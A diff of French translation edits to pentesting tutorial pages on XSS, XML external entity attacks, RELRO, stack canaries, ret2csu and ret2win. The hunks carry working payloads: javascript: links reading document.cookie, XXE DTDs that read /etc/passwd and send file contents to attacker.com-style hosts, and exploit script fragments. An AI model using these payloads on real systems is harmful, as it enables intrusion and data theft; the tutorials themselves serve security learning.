-[XSS](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
+[XSS](javascript:alert('XSS'))
 [XSS]: (javascript:prompt(document.cookie))
 [XSS](javascript:window.onerror=alert;throw%20document.cookie)
 [XSS](javascript://%0d%0aprompt(1))

src/pentesting-web/xxe-xee-xml-external-entity.md

@@ -4,13 +4,13 @@
 
 ## XML Basics
 
-XML est un langage de balisage conçu pour le stockage et le transport de données, avec une structure flexible qui permet l'utilisation de balises nommées de manière descriptive. Il se distingue de HTML en n'étant pas limité à un ensemble de balises prédéfinies. L'importance de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
+XML est un langage de balisage conçu pour le stockage et le transport de données, avec une structure flexible qui permet l'utilisation de balises nommées de manière descriptive. Il diffère de HTML en n'étant pas limité à un ensemble de balises prédéfinies. L'importance de XML a diminué avec l'essor de JSON, malgré son rôle initial dans la technologie AJAX.
 
 - **Représentation des données par des entités** : Les entités dans XML permettent la représentation des données, y compris des caractères spéciaux comme `&lt;` et `&gt;`, qui correspondent à `<` et `>` pour éviter les conflits avec le système de balises XML.
 - **Définition des éléments XML** : XML permet de définir des types d'éléments, décrivant comment les éléments doivent être structurés et quel contenu ils peuvent contenir, allant de tout type de contenu à des éléments enfants spécifiques.
-- **Définition de type de document (DTD)** : Les DTD sont cruciales dans XML pour définir la structure du document et les types de données qu'il peut contenir. Elles peuvent être internes, externes ou une combinaison, guidant la façon dont les documents sont formatés et validés.
-- **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées au sein d'une DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques XML External Entity (XXE), qui exploitent la façon dont les analyseurs XML gèrent les sources de données externes : `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
-- **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des analyseurs, des entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de recherches DNS ou de requêtes HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité.
+- **Définition de type de document (DTD)** : Les DTD sont cruciaux dans XML pour définir la structure du document et les types de données qu'il peut contenir. Ils peuvent être internes, externes ou une combinaison, guidant la façon dont les documents sont formatés et validés.
+- **Entités personnalisées et externes** : XML prend en charge la création d'entités personnalisées au sein d'un DTD pour une représentation flexible des données. Les entités externes, définies avec une URL, soulèvent des préoccupations de sécurité, en particulier dans le contexte des attaques XML External Entity (XXE), qui exploitent la façon dont les analyseurs XML gèrent les sources de données externes : `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
+- **Détection XXE avec des entités de paramètre** : Pour détecter les vulnérabilités XXE, surtout lorsque les méthodes conventionnelles échouent en raison des mesures de sécurité des analyseurs, des entités de paramètre XML peuvent être utilisées. Ces entités permettent des techniques de détection hors bande, telles que le déclenchement de requêtes DNS ou HTTP vers un domaine contrôlé, pour confirmer la vulnérabilité.
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
 
@@ -63,7 +63,7 @@ Dans ce troisième cas, remarquez que nous déclarons l'`Element stockCheck` com
 ```
 ![](<../images/image (753).png>)
 
-### Listing de répertoires
+### Listing de répertoire
 
 Dans les applications basées sur **Java**, il peut être possible de **lister le contenu d'un répertoire** via XXE avec un payload comme (demander simplement le répertoire au lieu du fichier) :
 ```xml
@@ -91,7 +91,7 @@ En utilisant la **technique précédemment commentée**, vous pouvez amener le s
 ```
 ### "Blind" SSRF - Exfiltrer des données hors bande
 
-**Dans ce cas, nous allons faire en sorte que le serveur charge un nouveau DTD avec un payload malveillant qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de l'exfiltrer via \_ftp://**\_ en utilisant ce serveur de base par exemple [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Cette explication est basée sur** [**Portswiggers lab ici**](https://portswigger.net/web-security/xxe/blind)**.**
+**Dans ce cas, nous allons faire en sorte que le serveur charge un nouveau DTD avec un payload malveillant qui enverra le contenu d'un fichier via une requête HTTP (pour les fichiers multi-lignes, vous pourriez essayer de les exfiltrer via \_ftp://**\_ en utilisant ce serveur de base par exemple [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Cette explication est basée sur** [**Portswiggers lab ici**](https://portswigger.net/web-security/xxe/blind)**.**
 
 Dans le DTD malveillant donné, une série d'étapes sont effectuées pour exfiltrer des données :
 
@@ -100,7 +100,7 @@ Dans le DTD malveillant donné, une série d'étapes sont effectuées pour exfil
 La structure est la suivante :
 ```xml
 <!ENTITY % file SYSTEM "file:///etc/hostname">
-<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
+<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
 %eval;
 %exfiltrate;
 ```
@@ -108,7 +108,7 @@ Les étapes exécutées par ce DTD incluent :
 
 1. **Définition des entités de paramètre :**
 - Une entité de paramètre XML, `%file`, est créée, lisant le contenu du fichier `/etc/hostname`.
-- Une autre entité de paramètre XML, `%eval`, est définie. Elle déclare dynamiquement une nouvelle entité de paramètre XML, `%exfiltrate`. L'entité `%exfiltrate` est configurée pour effectuer une requête HTTP vers le serveur de l'attaquant, en passant le contenu de l'entité `%file` dans la chaîne de requête de l'URL.
+- Une autre entité de paramètre XML, `%eval`, est définie. Elle déclare dynamiquement une nouvelle entité de paramètre XML, `%exfiltrate`. L'entité `%exfiltrate` est configurée pour effectuer une requête HTTP vers le serveur de l'attaquant, passant le contenu de l'entité `%file` dans la chaîne de requête de l'URL.
 2. **Exécution des entités :**
 - L'entité `%eval` est utilisée, entraînant l'exécution de la déclaration dynamique de l'entité `%exfiltrate`.
 - L'entité `%exfiltrate` est ensuite utilisée, déclenchant une requête HTTP vers l'URL spécifiée avec le contenu du fichier.
@@ -127,7 +127,7 @@ Ce payload définit une entité de paramètre XML `%xxe` et l'incorpore dans le
 
 **Dans ce cas, nous allons faire en sorte que le serveur charge un DTD malveillant qui affichera le contenu d'un fichier dans un message d'erreur (cela n'est valide que si vous pouvez voir les messages d'erreur).** [**Exemple ici.**](https://portswigger.net/web-security/xxe/blind)
 
-Un message d'erreur de parsing XML, révélant le contenu du fichier `/etc/passwd`, peut être déclenché en utilisant un Document Type Definition (DTD) externe malveillant. Cela s'accomplit par les étapes suivantes :
+Un message d'erreur de parsing XML, révélant le contenu du fichier `/etc/passwd`, peut être déclenché en utilisant un Document Type Definition (DTD) externe malveillant. Cela est accompli par les étapes suivantes :
 
 1. Une entité de paramètre XML nommée `file` est définie, contenant le contenu du fichier `/etc/passwd`.
 2. Une entité de paramètre XML nommée `eval` est définie, incorporant une déclaration dynamique pour une autre entité de paramètre XML nommée `error`. Cette entité `error`, lorsqu'elle est évaluée, tente de charger un fichier inexistant, incorporant le contenu de l'entité `file` comme son nom.
@@ -150,17 +150,17 @@ _**Veuillez noter que le DTD externe nous permet d'inclure une entité à l'int
 
 Alors, que dire des vulnérabilités XXE aveugles lorsque **les interactions hors bande sont bloquées** (les connexions externes ne sont pas disponibles) ?
 
-Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne d'entités déclarées externément, facilitant l'exécution d'attaques XXE basées sur des erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant à induire une erreur de parsing pour révéler des informations sensibles.
+Une faille dans la spécification du langage XML peut **exposer des données sensibles à travers des messages d'erreur lorsque le DTD d'un document mélange des déclarations internes et externes**. Ce problème permet la redéfinition interne d'entités déclarées externement, facilitant l'exécution d'attaques XXE basées sur des erreurs. De telles attaques exploitent la redéfinition d'une entité de paramètre XML, initialement déclarée dans un DTD externe, depuis un DTD interne. Lorsque les connexions hors bande sont bloquées par le serveur, les attaquants doivent s'appuyer sur des fichiers DTD locaux pour mener l'attaque, visant à induire une erreur de parsing pour révéler des informations sensibles.
 
 Considérez un scénario où le système de fichiers du serveur contient un fichier DTD à `/usr/local/app/schema.dtd`, définissant une entité nommée `custom_entity`. Un attaquant peut induire une erreur de parsing XML révélant le contenu du fichier `/etc/passwd` en soumettant un DTD hybride comme suit :
 ```xml
 <!DOCTYPE foo [
 <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
 <!ENTITY % custom_entity '
-<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
-<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file&#x27;>">
-&#x25;eval;
-&#x25;error;
+<!ENTITY % file SYSTEM "file:///etc/passwd">
+<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
+%eval;
+%error;
 '>
 %local_dtd;
 ]>
@@ -177,10 +177,10 @@ Les étapes décrites sont exécutées par ce DTD :
 <!DOCTYPE foo [
 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
 <!ENTITY % ISOamso '
-<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
-<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
-&#x25;eval;
-&#x25;error;
+<!ENTITY % file SYSTEM "file:///etc/passwd">
+<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
+%eval;
+%error;
 '>
 %local_dtd;
 ]>
@@ -188,7 +188,7 @@ Les étapes décrites sont exécutées par ce DTD :
 ```
 ![](<../images/image (625).png>)
 
-Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pourriez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **cherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTD par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe :
+Comme cette technique utilise un **DTD interne, vous devez d'abord en trouver un valide**. Vous pourriez le faire en **installant** le même **OS / logiciel** que celui utilisé par le serveur et en **cherchant quelques DTD par défaut**, ou en **récupérant une liste** de **DTDs par défaut** dans les systèmes et en **vérifiant** si l'un d'eux existe :
 ```xml
 <!DOCTYPE foo [
 <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@@ -251,7 +251,7 @@ Le processus pour accéder à un fichier dans une archive PKZIP via le protocole
 4. Le fichier spécifique dans l'archive, `file.zip`, est lu.
 5. Après l'opération, tous les fichiers temporaires créés pendant ce processus sont supprimés.
 
-Une technique intéressante pour interrompre ce processus à la deuxième étape consiste à maintenir la connexion serveur ouverte indéfiniment lors de la diffusion du fichier d'archive. Des outils disponibles dans [ce dépôt](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) peuvent être utilisés à cet effet, y compris un serveur Python (`slow_http_server.py`) et un serveur Java (`slowserver.jar`).
+Une technique intéressante pour interrompre ce processus à la deuxième étape consiste à maintenir la connexion serveur ouverte indéfiniment lors de la fourniture du fichier d'archive. Des outils disponibles dans [ce dépôt](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) peuvent être utilisés à cet effet, y compris un serveur Python (`slow_http_server.py`) et un serveur Java (`slowserver.jar`).
 ```xml
 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
 <foo>&xxe;</foo>
@@ -366,7 +366,7 @@ Content-Length: 52
 
 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
 ```
-### Content-Type: De JSON à XEE
+### Content-Type : De JSON à XEE
 
 Pour modifier la requête, vous pouvez utiliser une extension Burp nommée “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
 ```xml
@@ -422,7 +422,7 @@ Vous pouvez utiliser la \[**"Encode Recipe**" de cyberchef ici ]\(\[[https://gch
 ```
 ### File:/ Bypass de protocole
 
-Si le web utilise PHP, au lieu d'utiliser `file:/`, vous pouvez utiliser **php wrappers**`php://filter/convert.base64-encode/resource=` pour **accéder aux fichiers internes**.
+Si le web utilise PHP, au lieu d'utiliser `file:/`, vous pouvez utiliser **php wrappers** `php://filter/convert.base64-encode/resource=` pour **accéder aux fichiers internes**.
 
 Si le web utilise Java, vous pouvez vérifier le [**jar: protocole**](xxe-xee-xml-external-entity.md#jar-protocol).
 
@@ -432,7 +432,7 @@ Astuce de [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/
 Vous pouvez créer une **entité à l'intérieur d'une entité** en l'encoding avec **entités html** et ensuite l'appeler pour **charger un dtd**.\
 Notez que les **entités HTML** utilisées doivent être **numériques** (comme \[dans cet exemple]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
 ```xml
-<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "&#x3C;&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
+<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
 <data>
 <env>&exfil;</env>
 </data>
@@ -476,7 +476,7 @@ Exemple de DTD :
 
 Cet exemple est inspiré de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
 
-XLIFF (XML Localization Interchange File Format) est utilisé pour standardiser l'échange de données dans les processus de localisation. C'est un format basé sur XML principalement utilisé pour transférer des données localisables entre des outils pendant la localisation et comme format d'échange commun pour les outils de TAO (Traduction Assistée par Ordinateur).
+XLIFF (XML Localization Interchange File Format) est utilisé pour standardiser l'échange de données dans les processus de localisation. C'est un format basé sur XML principalement utilisé pour transférer des données localisables entre des outils lors de la localisation et comme format d'échange commun pour les outils de CAT (Computer-Aided Translation).
 
 ### Analyse de la demande aveugle
 
@@ -514,16 +514,16 @@ Content-Type: application/x-xliff+xml
 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
 ```
-Cette approche révèle que l'User Agent indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité à récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
+Cette approche révèle que l'Agent Utilisateur indique l'utilisation de Java 1.8. Une limitation notée avec cette version de Java est l'incapacité à récupérer des fichiers contenant un caractère de nouvelle ligne, tel que /etc/passwd, en utilisant la technique Out of Band.
 
-Error-Based Data Exfiltration Pour surmonter cette limitation, une approche basée sur les erreurs est employée. Le fichier DTD est structuré comme suit pour déclencher une erreur qui inclut des données d'un fichier cible :
+Exfiltration de données basée sur les erreurs Pour surmonter cette limitation, une approche basée sur les erreurs est employée. Le fichier DTD est structuré comme suit pour déclencher une erreur qui inclut des données d'un fichier cible :
 ```xml
 <!ENTITY % data SYSTEM "file:///etc/passwd">
 <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
 %foo;
 %xxe;
 ```
-Le serveur répond avec une erreur, reflétant de manière importante le fichier non existant, indiquant que le serveur tente d'accéder au fichier spécifié :
+Le serveur répond avec une erreur, reflétant de manière importante le fichier inexistant, indiquant que le serveur tente d'accéder au fichier spécifié :
 ```javascript
 {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
 ```
@@ -609,7 +609,7 @@ Utiliser le filtre base64 de PHP
 ```
 ## Java XMLDecoder XEE to RCE
 
-XMLDecoder est une classe Java qui crée des objets basés sur un message XML. Si un utilisateur malveillant peut amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément une exécution de code sur le serveur.
+XMLDecoder est une classe Java qui crée des objets à partir d'un message XML. Si un utilisateur malveillant parvient à amener une application à utiliser des données arbitraires dans un appel à la méthode **readObject**, il obtiendra instantanément une exécution de code sur le serveur.
 
 ### Using Runtime().exec()
 ```xml

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/relro.md

@@ -8,7 +8,7 @@
 
 ### **Partial RELRO**
 
-**Partial RELRO** adopte une approche plus simple pour améliorer la sécurité sans affecter significativement les performances du binaire. En **positionnant la GOT au-dessus des variables du programme en mémoire, le Partial RELRO vise à empêcher les débordements de tampon d'atteindre et de corrompre la GOT**. 
+**Partial RELRO** adopte une approche plus simple pour améliorer la sécurité sans affecter significativement les performances du binaire. En **positionnant la GOT au-dessus des variables du programme en mémoire, Partial RELRO vise à empêcher les débordements de tampon d'atteindre et de corrompre la GOT**.
 
 Cela **n'empêche pas la GOT** d'être exploitée **à partir de vulnérabilités d'écriture arbitraire**.
 
@@ -16,15 +16,15 @@ Cela **n'empêche pas la GOT** d'être exploitée **à partir de vulnérabilité
 
 **Full RELRO** renforce la protection en **rendant la GOT complètement en lecture seule.** Une fois que le binaire démarre, toutes les adresses de fonction sont résolues et chargées dans la GOT, puis, la GOT est marquée comme en lecture seule, empêchant effectivement toute modification pendant l'exécution.
 
-Cependant, le compromis avec le Full RELRO se situe en termes de performances et de temps de démarrage. Parce qu'il doit résoudre tous les symboles dynamiques au démarrage avant de marquer la GOT comme en lecture seule, **les binaires avec Full RELRO activé peuvent connaître des temps de chargement plus longs**. Ce surcoût supplémentaire au démarrage est la raison pour laquelle le Full RELRO n'est pas activé par défaut dans tous les binaires.
+Cependant, le compromis avec Full RELRO se situe en termes de performances et de temps de démarrage. Parce qu'il doit résoudre tous les symboles dynamiques au démarrage avant de marquer la GOT comme en lecture seule, **les binaires avec Full RELRO activé peuvent connaître des temps de chargement plus longs**. Ce surcoût supplémentaire au démarrage est la raison pour laquelle Full RELRO n'est pas activé par défaut dans tous les binaires.
 
-Il est possible de voir si le Full RELRO est activé dans un binaire avec :
+Il est possible de voir si Full RELRO est activé dans un binaire avec :
 ```bash
 readelf -l /proc/ID_PROC/exe | grep BIND_NOW
 ```
 ## Bypass
 
-Si Full RELRO est activé, le seul moyen de le contourner est de trouver une autre méthode qui ne nécessite pas d'écrire dans la table GOT pour obtenir une exécution arbitraire.
+Si Full RELRO est activé, la seule façon de le contourner est de trouver un autre moyen qui ne nécessite pas d'écrire dans la table GOT pour obtenir une exécution arbitraire.
 
 Notez que la GOT de LIBC est généralement en Partial RELRO, donc elle peut être modifiée avec une écriture arbitraire. Plus d'informations dans [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

@@ -60,7 +60,7 @@ CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
 ### Exemple 2
 
 Ceci est implémenté pour 32 bits, mais cela pourrait être facilement changé en 64 bits.\
-Notez également que pour cet exemple, le **programme s'attend d'abord à un octet pour indiquer la taille de l'entrée** et le payload.
+Notez également que pour cet exemple, le **programme s'attend d'abord à un octet pour indiquer la taille de l'entrée** et la charge utile.
 ```python
 from pwn import *
 
@@ -103,7 +103,7 @@ log.info(f"The canary is: {canary}")
 ```
 ## Threads
 
-Les threads du même processus **partageront le même jeton canari**, il sera donc possible de **brute-forcer** un canari si le binaire crée un nouveau thread chaque fois qu'une attaque se produit. 
+Les threads du même processus **partageront le même jeton canari**, il sera donc possible de **brute-forcer** un canari si le binaire crée un nouveau thread chaque fois qu'une attaque se produit.
 
 Un débordement de tampon dans une fonction multithreadée protégée par un canari peut être utilisé pour modifier le canari maître du processus. En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaris qui sont identiques (bien que modifiés).
 
@@ -169,7 +169,7 @@ Start              End                Size               Offset             Perm
 0x00007ffff7580000 0x00007ffff7d83000 0x0000000000803000 0x0000000000000000 rw- <tls-th1><stack-th2>  <-  $rbx, $rsp, $rbp, $rsi, $rdi, $r12
 0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack]  <-  $r9, $r15
 ```
-La pile du thread est placée au-dessus du stockage local du thread (TLS), où le canari maître est stocké :
+La pile du thread est placée au-dessus du stockage local du thread (TLS), où le maître canari est stocké :
 ```bash
 gef> tls
 $tls = 0x7ffff7d7f640

src/reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md

@@ -4,15 +4,15 @@
 
 ## Agrandir le stack imprimé
 
-Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** **pointant** vers **une partie** du **déborde de pile**. L'attaquant sait que **le premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est constitué de **bytes aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.
+Imaginez une situation où un **programme vulnérable** à un débordement de pile peut exécuter une fonction **puts** **pointant** vers **une partie** du **déborde de pile**. L'attaquant sait que **le premier octet du canary est un octet nul** (`\x00`) et que le reste du canary est constitué de **octets aléatoires**. Ensuite, l'attaquant peut créer un débordement qui **écrase la pile jusqu'au premier octet du canary**.
 
-Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile qui va **imprimer tout le canary** (sauf le premier octet nul).
+Ensuite, l'attaquant **appelle la fonctionnalité puts** au milieu de la charge utile, ce qui **imprimera tout le canary** (sauf le premier octet nul).
 
-Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la **même session de programme**).
+Avec cette information, l'attaquant peut **concevoir et envoyer une nouvelle attaque** en connaissant le canary (dans la même session de programme).
 
 Évidemment, cette tactique est très **restrictive** car l'attaquant doit être capable d'**imprimer** le **contenu** de sa **charge utile** pour **exfiltrer** le **canary** et ensuite être capable de créer une nouvelle charge utile (dans la **même session de programme**) et **envoyer** le **vrai débordement de tampon**.
 
-**Exemples CTF :** 
+**Exemples CTF :**
 
 - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
 - 64 bits, ASLR activé mais pas de PIE, la première étape consiste à remplir un débordement jusqu'à l'octet 0x00 du canary pour ensuite appeler puts et le divulguer. Avec le canary, un gadget ROP est créé pour appeler puts afin de divulguer l'adresse de puts depuis le GOT et un gadget ROP pour appeler `system('/bin/sh')`

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

@@ -4,13 +4,13 @@
 
 ## Informations de base
 
-**ret2csu** est une technique de hacking utilisée lorsque vous essayez de prendre le contrôle d'un programme mais que vous ne pouvez pas trouver les **gadgets** que vous utilisez habituellement pour manipuler le comportement du programme. 
+**ret2csu** est une technique de hacking utilisée lorsque vous essayez de prendre le contrôle d'un programme mais que vous ne pouvez pas trouver les **gadgets** que vous utilisez habituellement pour manipuler le comportement du programme.
 
-Lorsqu'un programme utilise certaines bibliothèques (comme libc), il dispose de certaines fonctions intégrées pour gérer la façon dont différentes parties du programme communiquent entre elles. Parmi ces fonctions, il y a quelques pépites cachées qui peuvent agir comme nos gadgets manquants, en particulier un appelé `__libc_csu_init`.
+Lorsqu'un programme utilise certaines bibliothèques (comme libc), il dispose de fonctions intégrées pour gérer la communication entre les différentes parties du programme. Parmi ces fonctions, il y a quelques pépites cachées qui peuvent agir comme nos gadgets manquants, en particulier un appelé `__libc_csu_init`.
 
 ### Les gadgets magiques dans \_\_libc_csu_init
 
-Dans `__libc_csu_init`, il y a deux séquences d'instructions (nos "gadgets magiques") qui se distinguent :
+Dans `__libc_csu_init`, il y a deux séquences d'instructions (nos "gadgets magiques") qui se démarquent :
 
 1. La première séquence nous permet de configurer des valeurs dans plusieurs registres (rbx, rbp, r12, r13, r14, r15). Ce sont comme des emplacements où nous pouvons stocker des nombres ou des adresses que nous voulons utiliser plus tard.
 ```armasm
@@ -37,7 +37,7 @@ call qword [r15 + rbx*8];
 
 Imaginez que vous souhaitiez effectuer un syscall ou appeler une fonction comme `write()` mais que vous ayez besoin de valeurs spécifiques dans les registres `rdx` et `rsi` en tant que paramètres. Normalement, vous chercheriez des gadgets qui définissent ces registres directement, mais vous ne pouvez en trouver aucun.
 
-Voici où **ret2csu** entre en jeu :
+C'est là que **ret2csu** entre en jeu :
 
 1. **Configurer les Registres** : Utilisez le premier gadget magique pour extraire des valeurs de la pile et les placer dans rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) et r15.
 2. **Utiliser le Deuxième Gadget** : Avec ces registres configurés, vous utilisez le deuxième gadget. Cela vous permet de déplacer vos valeurs choisies dans `rdx` et `rsi` (à partir de r14 et r13, respectivement), préparant les paramètres pour un appel de fonction. De plus, en contrôlant `r15` et `rbx`, vous pouvez faire en sorte que le programme appelle une fonction située à l'adresse que vous calculez et placez dans `[r15 + rbx*8]`.
@@ -67,9 +67,9 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Notez que l'exploit précédent n'est pas destiné à faire un **`RCE`**, il est juste destiné à appeler une fonction appelée `win` (prenant l'adresse de `win` depuis stdin appelant gets dans la chaîne ROP et la stockant dans r15) avec un troisième argument ayant la valeur `0xdeadbeefcafed00d`.
+> Notez que l'exploit précédent n'est pas destiné à faire un **`RCE`**, il est juste destiné à appeler une fonction appelée `win` (prenant l'adresse de `win` depuis stdin en appelant gets dans la chaîne ROP et en la stockant dans r15) avec un troisième argument ayant la valeur `0xdeadbeefcafed00d`.
 
-### Pourquoi ne pas simplement utiliser libc directement ?
+### Pourquoi ne pas utiliser directement libc ?
 
 Généralement, ces cas sont également vulnérables à [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), mais parfois vous devez contrôler plus de paramètres que ceux qui peuvent être facilement contrôlés avec les gadgets que vous trouvez directement dans libc. Par exemple, la fonction `write()` nécessite trois paramètres, et **trouver des gadgets pour définir tous ceux-ci directement peut ne pas être possible**.
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md

@@ -63,14 +63,14 @@ Pour trouver l'adresse de la fonction `win`, vous pouvez utiliser **gdb**, **obj
 ```sh
 objdump -d vulnerable | grep win
 ```
-Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de départ. 
+Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de départ.
 
 Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est traité par la `vulnerable_function`, déborde le tampon et écrase l'adresse de retour sur la pile avec l'adresse de `win`. Lorsque `vulnerable_function` retourne, au lieu de retourner à `main` ou de sortir, il saute à `win`, et le message est imprimé.
 
 ## Protections
 
 - [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés ou l'adresse de retour EIP compromise ne sera jamais suivie.
 
